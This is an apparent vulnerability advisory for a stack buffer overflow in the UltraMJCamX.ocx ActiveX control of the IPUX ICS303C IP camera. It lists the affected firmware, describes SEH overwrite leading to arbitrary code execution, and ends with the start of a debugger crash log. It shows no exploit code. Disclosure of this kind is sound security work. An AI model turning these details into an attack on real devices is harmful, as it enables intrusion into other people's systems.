IPUX Cube Type CS303C IP Camera – ‘UltraMJCamX.ocx’ ActiveX Stack Buffer Overflow
IPUX Cube Type CS303C IP Camera (UltraMJCamX.ocx) ActiveX Stack Buffer Overflow Vendor: Big Good Holdings Limited | Fitivision Technology Inc. Product web page: http://www.ipux.net | http://www.fitivision.com Affected version: Cube Type ICS303C (firmware: ICS303C 1.0.0-17 20140120 r1511) Summary: The device is Day and Night Cube Network camera with CMOS sensor. With Motion JPEG video compression, the file size of video stream is extremely reduced, as to optimize the network bandwidth efficiency. It has 3X digital zoom feature for a larger space monitoring. The ICS303C comes with a IR-cut filter and 4 built-in IR illuminators for both day and night applications. Desc: The UltraMJCam ActiveX Control 'UltraMJCamX.ocx' suffers from a stack buffer overflow vulnerability when parsing large amount of bytes to several functions in UltraMJCamLib, resulting in memory corruption overwriting several registers including the SEH. An attacker can gain access to the system of the affected node and execute arbitrary code. ---------------------------------------------------------------------------------- (48d0.2e98): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling.
